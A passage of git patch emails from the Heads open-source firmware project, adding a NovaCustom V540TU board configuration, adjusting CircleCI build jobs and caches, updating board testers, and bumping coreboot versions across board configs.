CONFIG_DEBUG_ACPICA_COMPATIBLE is not set +# end of Debugging + +CONFIG_SPD_READ_BY_WORD=y +CONFIG_DECOMPRESS_OFAST=y +CONFIG_WARNINGS_ARE_ERRORS=y +CONFIG_MAX_REBOOT_CNT=3 +CONFIG_RELOCATABLE_MODULES=y +CONFIG_GENERIC_GPIO_LIB=y +CONFIG_HAVE_BOOTBLOCK=y +CONFIG_HAVE_ROMSTAGE=y +CONFIG_HAVE_RAMSTAGE=y From 4a24bba8b3205ab31f993711afc7affa1fb40400 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Filip=20Lewi=C5=84ski?= Date: Tue, 18 Feb 2025 15:17:16 +0100 Subject: [PATCH 530/619] boards/novacustom-v540tu/novacustom-v540tu.config: add MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Filip Lewiński --- .../novacustom-v540tu.config | 89 +++++++++++++++++++ 1 file changed, 89 insertions(+) create mode 100644 boards/novacustom-v540tu/novacustom-v540tu.config diff --git a/boards/novacustom-v540tu/novacustom-v540tu.config b/boards/novacustom-v540tu/novacustom-v540tu.config new file mode 100644 index 000000000..7076b2c66 --- /dev/null +++ b/boards/novacustom-v540tu/novacustom-v540tu.config @@ -0,0 +1,89 @@ +# NovaCustom V54 MTL (integrated graphics) board configuration +# Note the FLASH_OPTIONS: '--ifd -i bios -i me -i fd' +# This excludes gbe from internal flashing, otherwise mac address would revert to '88:88:88:88:87:88' see https://github.com/linuxboot/heads/pull/1871#discussion_r1870134788 +# Same options should be used when externally flashing the first time, otherwise Intel GBE region (Ethernet config blob) will be overwitten and MAC reverted to '88:88:88:88:87:88' +# +# Docs: +# Dissassembly and Recovery: https://docs.dasharo.com/unified/novacustom/recovery/#14th-gen +# +# WARNING: The first boot after updating firmware may take a longer time than usual, due to DDR5 memory being re-trained. +# Generally, first boot time increases according to the amount of installed RAM in the system. A system with 64 GB of RAM may take over 2 minutes to boot. +# After first boot, memory training settings are cached, and subsequent boot times should be much lower. +# +# DISCLAIMER: Meteor Lake (Intel Gen 14) is not supposed to support s3 but coincidently does. In case s3 is broken, user must configure settings to not suspend or otherwise enable +# ME/CSME for s0ix to work (unsupported by QubesOS when writing those lines) or use Hibernate (Not supported by QubesOS either) + +export CONFIG_COREBOOT=y +export CONFIG_COREBOOT_VERSION=dasharo +export CONFIG_LINUX_VERSION=6.1.8 + +CONFIG_COREBOOT_CONFIG=config/coreboot-novacustom-v540tu.config +CONFIG_LINUX_CONFIG=config/linux-novacustom-common.config + +#On-demand hardware support (modules.cpio) +CONFIG_LINUX_USB=y +CONFIG_LINUX_E1000=y +CONFIG_MOBILE_TETHERING=y + +#Modules packed into tools.cpio +CONFIG_CRYPTSETUP2=y +CONFIG_FLASHPROG=y +CONFIG_FLASHTOOLS=y +CONFIG_GPG2=y +CONFIG_KEXEC=y +CONFIG_UTIL_LINUX=y +CONFIG_LVM2=y +CONFIG_MBEDTLS=y +CONFIG_PCIUTILS=y + +#platform locking finalization (PR0) +CONFIG_IO386=y +export CONFIG_FINALIZE_PLATFORM_LOCKING=y + + +#Remote attestation support +# TPM2 requirements +CONFIG_TPM2_TSS=y +CONFIG_OPENSSL=y +#Remote Attestation common tools +CONFIG_POPT=y +CONFIG_QRENCODE=y +CONFIG_TPMTOTP=y +#HOTP based remote attestation for supported USB Security dongle +#With/Without TPM support +CONFIG_HOTPKEY=y +#Nitrokey Storage admin tool (deprecated) +#CONFIG_NKSTORECLI=n +#GUI Support +#Console based Whiptail support(Console based, no FB): +#CONFIG_SLANG=y +#CONFIG_NEWT=y +#FBWhiptail based (Graphical): +CONFIG_CAIRO=y +CONFIG_FBWHIPTAIL=y +#Additional tools (tools.cpio): +#SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) +CONFIG_DROPBEAR=y + +#Runtime configuration +#Automatically boot if HOTP is valid +export CONFIG_AUTO_BOOT_TIMEOUT=5 +#TPM2 requirements +export CONFIG_TPM2_TOOLS=y +export CONFIG_PRIMARY_KEY_TYPE=ecc +#TPM1 requirements +#export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y +export CONFIG_BOOTSCRIPT=/bin/gui-init +export CONFIG_BOOT_REQ_HASH=n +export CONFIG_BOOT_REQ_ROLLBACK=n +export CONFIG_BOOT_KERNEL_ADD="" +export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" +export CONFIG_BOARD_NAME="NovaCustom V540TU" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal --ifd -i bios -i me -i fd" From f7f3b2f2f127337af9859c8a02fa58712dfb6abf Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Filip=20Lewi=C5=84ski?= Date: Wed, 19 Feb 2025 10:28:32 +0100 Subject: [PATCH 531/619] .circleci/config.yml: add v540tu MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Filip Lewiński --- .circleci/config.yml | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/.circleci/config.yml b/.circleci/config.yml index 6ff83e202..ff2f94529 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -525,6 +525,13 @@ workflows: requires: - x230-hotp-maximized + - build: + name: novacustom-v540tu + target: novacustom-v540tu + subcommand: "" + requires: + - x230-hotp-maximized + # coreboot 4.11 - build: name: UNMAINTAINED_kgpe-d16_workstation From 384e2438d296a10e79d761f8b6b92db463360709 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 19 Feb 2025 11:24:05 -0500 Subject: [PATCH 532/619] TESTING: CircleCI: force AVAILABLE_MEM_GB=8 so that we respect guaranteed minimal resource allocation of CircleCI being 8Gb. Will slow down builds.... Reasoning: - t480 depends on coreboot 24.12, which in turn depends on gcc 14.2 and consumes more memory through parallelization of CircleCI builds which randomly fails if CircleCI with 24.12 Failsafe which might break builds since less threads will be used to build, will see. TODO: reevaluate if builds take too long and timeouts on max 1h build time per step. Signed-off-by: Thierry Laurion --- .circleci/config.yml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index 07a0f63b8..87790e92d 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -16,7 +16,8 @@ commands: echo "Sourcing /devenv.sh since docker entrypoint doesn't do it as expected" source /devenv.sh rm -rf build/<< parameters.arch >>/<< parameters.target >>/* build/<< parameters.arch >>/log/* - make V=1 BOARD=<< parameters.target >> << parameters.subcommand >> | ts || touch ./tmpDir/failed_build + #Force -j8 so that each make subtask consumes 1gb max and force respect of minimal requirements of CircleCI which otherwise randomly fails + make V=1 BOARD=<< parameters.target >> << parameters.subcommand >> AVAILABLE_MEM_GB=8 | ts || touch ./tmpDir/failed_build no_output_timeout: 3h - run: name: Output hashes From 67a027d4f81909d420575145c104f07736eda91e Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 19 Feb 2025 11:30:08 -0500 Subject: [PATCH 533/619] CircleCI: add coreboot 24.12 in save_cache/restore_cache statements in case we change CircleCI worskpace caches leading to build artifacts being reusable in the future Signed-off-by: Thierry Laurion --- .circleci/config.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.circleci/config.yml b/.circleci/config.yml index 87790e92d..b88d3df59 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -189,6 +189,7 @@ jobs: - build/ppc64/musl-cross-make-38e52db8358c043ae82b346a2e6e66bc86a53bc1 - build/x86/coreboot-4.11 - build/x86/coreboot-24.02.01 + - build/x86/coreboot-24.12 - build/x86/coreboot-dasharo - build/x86/coreboot-purism - build/x86/musl-cross-make-38e52db8358c043ae82b346a2e6e66bc86a53bc1 From 84c0b2dac8b5ca097d4dd1b65840d57fba3190b9 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 19 Feb 2025 13:29:01 -0500 Subject: [PATCH 534/619] CircleCI: drop building d16 which causes build issues with changes to CircleCI to build for t480. Delegating needed fixes to https://github.com/linuxboot/heads/pull/1910 community effort and for the d16 club d16 board owners Signed-off-by: Thierry Laurion --- .circleci/config.yml | 32 -------------------------------- 1 file changed, 32 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index b88d3df59..65ee9bf9e 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -543,35 +543,3 @@ workflows: requires: - x230-hotp-maximized - # coreboot 4.11 - - build: - name: UNMAINTAINED_kgpe-d16_workstation - target: UNMAINTAINED_kgpe-d16_workstation - subcommand: "" - requires: - - librem_l1um - - # coreboot 4.11 - - build: - name: UNMAINTAINED_kgpe-d16_workstation-usb_keyboard - target: UNMAINTAINED_kgpe-d16_workstation-usb_keyboard - subcommand: "" - requires: - - librem_l1um - - # coreboot 4.11 - - build: - name: UNMAINTAINED_kgpe-d16_server - target: UNMAINTAINED_kgpe-d16_server - subcommand: "" - requires: - - librem_l1um - - # coreboot 4.11 - - build: - name: UNMAINTAINED_kgpe-d16_server-whiptail - target: UNMAINTAINED_kgpe-d16_server-whiptail - subcommand: "" - requires: - - librem_l1um - From 0416162dedadd7b3402eb37ca0a0e6b443b2e238 Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Wed, 19 Feb 2025 22:10:52 +0100 Subject: [PATCH 535/619] add more volunteers as board testers for the T480 remove the not (yet) supported t480s from the board testers file Signed-off-by: gaspar-ilom --- BOARD_TESTERS.md | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/BOARD_TESTERS.md b/BOARD_TESTERS.md index e34c3b630..5a912bd18 100644 --- a/BOARD_TESTERS.md +++ b/BOARD_TESTERS.md @@ -34,8 +34,7 @@ xx4x(Haswell): xx8x(Kaby Lake Refresh): === -- [ ] t480: @gaspar-ilom -- [ ] t480s (similar to t480): TODO: NOT SUPPORTED OR TESTED YET +- [ ] t480: @gaspar-ilom @doritos4mlady @MattClifton76 Librems: === From fe1e196d8b3e1c6a43b06a53e7a15490889c83ba Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 17 Feb 2025 15:04:22 -0500 Subject: [PATCH 536/619] bump all boards from 24.02.01 to reuse libreboot's coreboot fork commit + patches of 2412 pinned commit under modules/coreboot Repro: - sed -i 's/24.02.01/2412/g' boards/*/*.config - docker_repro.sh - git status | grep boards | awk -F "/" {'print $2'} | while read board; do make BOARD=$board coreboot.save_in_oldconfig_format_in_place; done Manually modify CircleCI board dependencies. As of now, librem + dasharo reuses 24.02.01 crossgcc buildstack, and all other coreboot dependent boards rely on 2412 - save cache switched to reuse x230-hotp-maximized since most boards depend on 2412 coreboot buildstack Signed-off-by: Thierry Laurion --- .../UNTESTED_t440p-maximized.config | 2 +- .../UNTESTED_w541-maximized.config | 2 +- .../optiplex-7010_9010-hotp-maximized.config | 2 +- .../optiplex-7010_9010-maximized.config | 2 +- ...tiplex-7010_9010_TXT-hotp-maximized.config | 2 +- .../optiplex-7010_9010_TXT-maximized.config | 2 +- ...-coreboot-fbwhiptail-tpm1-hotp-prod.config | 2 +- ...oot-fbwhiptail-tpm1-hotp-prod_quiet.config | 2 +- .../qemu-coreboot-fbwhiptail-tpm1-hotp.config | 2 +- .../qemu-coreboot-fbwhiptail-tpm1-prod.config | 2 +- .../qemu-coreboot-fbwhiptail-tpm1.config | 2 +- ...-coreboot-fbwhiptail-tpm2-hotp-prod.config | 2 +- ...oot-fbwhiptail-tpm2-hotp-prod_quiet.config | 2 +- .../qemu-coreboot-fbwhiptail-tpm2-hotp.config | 2 +- .../qemu-coreboot-fbwhiptail-tpm2-prod.config | 2 +- .../qemu-coreboot-fbwhiptail-tpm2.config | 2 +- ...mu-coreboot-whiptail-tpm1-hotp-prod.config | 2 +- .../qemu-coreboot-whiptail-tpm1-hotp.config | 2 +- .../qemu-coreboot-whiptail-tpm1-prod.config | 2 +- .../qemu-coreboot-whiptail-tpm1.config | 2 +- ...mu-coreboot-whiptail-tpm2-hotp-prod.config | 2 +- .../qemu-coreboot-whiptail-tpm2-hotp.config | 2 +- .../qemu-coreboot-whiptail-tpm2-prod.config | 2 +- .../qemu-coreboot-whiptail-tpm2.config | 2 +- .../t420-hotp-maximized.config | 2 +- boards/t420-maximized/t420-maximized.config | 2 +- .../t430-hotp-maximized.config | 2 +- boards/t430-maximized/t430-maximized.config | 2 +- .../t530-hotp-maximized.config | 2 +- boards/t530-maximized/t530-maximized.config | 2 +- .../w530-hotp-maximized.config | 2 +- boards/w530-maximized/w530-maximized.config | 2 +- .../x220-hotp-maximized.config | 2 +- boards/x220-maximized/x220-maximized.config | 2 +- .../x230-hotp-maximized-fhd_edp.config | 2 +- .../x230-hotp-maximized.config | 2 +- .../x230-hotp-maximized_usb-kb.config | 2 +- .../x230-maximized-fhd_edp.config | 2 +- boards/x230-maximized/x230-maximized.config | 2 +- .../z220-cmt-maximized.config | 2 +- ...reboot-optiplex-7019_9010-maximized.config | 87 ++++++++++++++----- ...ot-optiplex-7019_9010_TXT-maximized.config | 87 ++++++++++++++----- config/coreboot-qemu-tpm1-prod.config | 75 +++++++++++----- config/coreboot-qemu-tpm1.config | 75 +++++++++++----- config/coreboot-qemu-tpm2-prod.config | 74 +++++++++++----- config/coreboot-qemu-tpm2.config | 74 +++++++++++----- config/coreboot-t420-maximized.config | 75 +++++++++++----- config/coreboot-t430-maximized.config | 75 +++++++++++----- config/coreboot-t440p.config | 65 +++++++++----- config/coreboot-t530-maximized.config | 77 +++++++++++----- config/coreboot-w530-maximized.config | 77 +++++++++++----- config/coreboot-w541.config | 65 +++++++++----- config/coreboot-x220-maximized.config | 77 +++++++++++----- config/coreboot-x230-maximized-fhd_edp.config | 77 +++++++++++----- config/coreboot-x230-maximized.config | 77 +++++++++++----- config/coreboot-z220-cmt.config | 79 +++++++++++------ 56 files changed, 890 insertions(+), 406 deletions(-) diff --git a/boards/UNTESTED_t440p-maximized/UNTESTED_t440p-maximized.config b/boards/UNTESTED_t440p-maximized/UNTESTED_t440p-maximized.config index 2d54aeb35..9f376d61c 100644 --- a/boards/UNTESTED_t440p-maximized/UNTESTED_t440p-maximized.config +++ b/boards/UNTESTED_t440p-maximized/UNTESTED_t440p-maximized.config @@ -4,7 +4,7 @@ CONFIG_COREBOOT_CONFIG=config/coreboot-t440p.config CONFIG_LINUX_CONFIG=config/linux-t440p.config export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_CRYPTSETUP2=y diff --git a/boards/UNTESTED_w541-maximized/UNTESTED_w541-maximized.config b/boards/UNTESTED_w541-maximized/UNTESTED_w541-maximized.config index 00383ad5d..70fa7f838 100644 --- a/boards/UNTESTED_w541-maximized/UNTESTED_w541-maximized.config +++ b/boards/UNTESTED_w541-maximized/UNTESTED_w541-maximized.config @@ -4,7 +4,7 @@ CONFIG_COREBOOT_CONFIG=config/coreboot-w541.config CONFIG_LINUX_CONFIG=config/linux-w541.config export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_CRYPTSETUP2=y diff --git a/boards/optiplex-7010_9010-hotp-maximized/optiplex-7010_9010-hotp-maximized.config b/boards/optiplex-7010_9010-hotp-maximized/optiplex-7010_9010-hotp-maximized.config index f890345f1..5d42c7395 100644 --- a/boards/optiplex-7010_9010-hotp-maximized/optiplex-7010_9010-hotp-maximized.config +++ b/boards/optiplex-7010_9010-hotp-maximized/optiplex-7010_9010-hotp-maximized.config @@ -7,7 +7,7 @@ # # - Includes: Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-optiplex-7019_9010-maximized.config diff --git a/boards/optiplex-7010_9010-maximized/optiplex-7010_9010-maximized.config b/boards/optiplex-7010_9010-maximized/optiplex-7010_9010-maximized.config index 293a28198..459666098 100644 --- a/boards/optiplex-7010_9010-maximized/optiplex-7010_9010-maximized.config +++ b/boards/optiplex-7010_9010-maximized/optiplex-7010_9010-maximized.config @@ -7,7 +7,7 @@ # # - DOES NOT INCLUDE Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-optiplex-7019_9010-maximized.config diff --git a/boards/optiplex-7010_9010_TXT-hotp-maximized/optiplex-7010_9010_TXT-hotp-maximized.config b/boards/optiplex-7010_9010_TXT-hotp-maximized/optiplex-7010_9010_TXT-hotp-maximized.config index 3122197c7..7a9051010 100644 --- a/boards/optiplex-7010_9010_TXT-hotp-maximized/optiplex-7010_9010_TXT-hotp-maximized.config +++ b/boards/optiplex-7010_9010_TXT-hotp-maximized/optiplex-7010_9010_TXT-hotp-maximized.config @@ -7,7 +7,7 @@ # # - Includes: Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-optiplex-7019_9010_TXT-maximized.config diff --git a/boards/optiplex-7010_9010_TXT-maximized/optiplex-7010_9010_TXT-maximized.config b/boards/optiplex-7010_9010_TXT-maximized/optiplex-7010_9010_TXT-maximized.config index f12614c99..8ae897d3b 100644 --- a/boards/optiplex-7010_9010_TXT-maximized/optiplex-7010_9010_TXT-maximized.config +++ b/boards/optiplex-7010_9010_TXT-maximized/optiplex-7010_9010_TXT-maximized.config @@ -7,7 +7,7 @@ # # - DOES NOT INCLUDE Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-optiplex-7019_9010_TXT-maximized.config diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod/qemu-coreboot-fbwhiptail-tpm1-hotp-prod.config b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod/qemu-coreboot-fbwhiptail-tpm1-hotp-prod.config index aae15a997..9c81e9395 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod/qemu-coreboot-fbwhiptail-tpm1-hotp-prod.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod/qemu-coreboot-fbwhiptail-tpm1-hotp-prod.config @@ -5,7 +5,7 @@ # Nitrokey Pro can also be used by forwarding the USB device from the host to # the VM. export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm1-prod.config diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod_quiet/qemu-coreboot-fbwhiptail-tpm1-hotp-prod_quiet.config b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod_quiet/qemu-coreboot-fbwhiptail-tpm1-hotp-prod_quiet.config index 6bca66b21..c61552690 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod_quiet/qemu-coreboot-fbwhiptail-tpm1-hotp-prod_quiet.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod_quiet/qemu-coreboot-fbwhiptail-tpm1-hotp-prod_quiet.config @@ -5,7 +5,7 @@ # Nitrokey Pro can also be used by forwarding the USB device from the host to # the VM. export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm1-prod.config diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config index 8e74f1c39..c9493a18e 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config @@ -5,7 +5,7 @@ # Nitrokey Pro can also be used by forwarding the USB device from the host to # the VM. export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm1.config diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1-prod/qemu-coreboot-fbwhiptail-tpm1-prod.config b/boards/qemu-coreboot-fbwhiptail-tpm1-prod/qemu-coreboot-fbwhiptail-tpm1-prod.config index 0fffc9705..34db34b3d 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1-prod/qemu-coreboot-fbwhiptail-tpm1-prod.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1-prod/qemu-coreboot-fbwhiptail-tpm1-prod.config @@ -3,7 +3,7 @@ # # TPM can be used with a qemu software TPM (TIS, 1.2). export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2-prod.config diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config b/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config index d64d95d52..93e2ee89f 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config @@ -3,7 +3,7 @@ # # TPM can be used with a qemu software TPM (TIS, 1.2). export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2.config diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp-prod/qemu-coreboot-fbwhiptail-tpm2-hotp-prod.config b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp-prod/qemu-coreboot-fbwhiptail-tpm2-hotp-prod.config index 2c907376d..cd3e23fa9 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp-prod/qemu-coreboot-fbwhiptail-tpm2-hotp-prod.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp-prod/qemu-coreboot-fbwhiptail-tpm2-hotp-prod.config @@ -4,7 +4,7 @@ # # TPM can be used with a qemu software TPM (TIS, 2.0). export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2-prod.config diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet/qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet.config b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet/qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet.config index 552caccc4..4b3db50c2 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet/qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet/qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet.config @@ -4,7 +4,7 @@ # # TPM can be used with a qemu software TPM (TIS, 2.0). export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2-prod.config diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config index 61299f32d..a6d72efa0 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config @@ -4,7 +4,7 @@ # # TPM can be used with a qemu software TPM (TIS, 2.0). export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2.config diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2-prod/qemu-coreboot-fbwhiptail-tpm2-prod.config b/boards/qemu-coreboot-fbwhiptail-tpm2-prod/qemu-coreboot-fbwhiptail-tpm2-prod.config index ed9bc4171..8e40c2819 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2-prod/qemu-coreboot-fbwhiptail-tpm2-prod.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm2-prod/qemu-coreboot-fbwhiptail-tpm2-prod.config @@ -3,7 +3,7 @@ # # TPM can be used with a qemu software TPM (TIS, 2.0). export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2-prod.config diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config b/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config index 1d7b8c5f7..dbd753194 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config @@ -3,7 +3,7 @@ # # TPM can be used with a qemu software TPM (TIS, 2.0). export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2.config diff --git a/boards/qemu-coreboot-whiptail-tpm1-hotp-prod/qemu-coreboot-whiptail-tpm1-hotp-prod.config b/boards/qemu-coreboot-whiptail-tpm1-hotp-prod/qemu-coreboot-whiptail-tpm1-hotp-prod.config index 3e43e98b8..ef2f9b09b 100644 --- a/boards/qemu-coreboot-whiptail-tpm1-hotp-prod/qemu-coreboot-whiptail-tpm1-hotp-prod.config +++ b/boards/qemu-coreboot-whiptail-tpm1-hotp-prod/qemu-coreboot-whiptail-tpm1-hotp-prod.config @@ -5,7 +5,7 @@ # Nitrokey Pro can also be used by forwarding the USB device from the host to # the VM. export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm1-prod.config diff --git a/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config b/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config index 097454066..6de16b965 100644 --- a/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config +++ b/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config @@ -5,7 +5,7 @@ # Nitrokey Pro can also be used by forwarding the USB device from the host to # the VM. export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm1.config diff --git a/boards/qemu-coreboot-whiptail-tpm1-prod/qemu-coreboot-whiptail-tpm1-prod.config b/boards/qemu-coreboot-whiptail-tpm1-prod/qemu-coreboot-whiptail-tpm1-prod.config index 0c0d57a83..ecd1e450d 100644 --- a/boards/qemu-coreboot-whiptail-tpm1-prod/qemu-coreboot-whiptail-tpm1-prod.config +++ b/boards/qemu-coreboot-whiptail-tpm1-prod/qemu-coreboot-whiptail-tpm1-prod.config @@ -3,7 +3,7 @@ # # TPM can be used with a qemu software TPM (TIS, 1.2). export CONFIG_COREBOOT=y -export 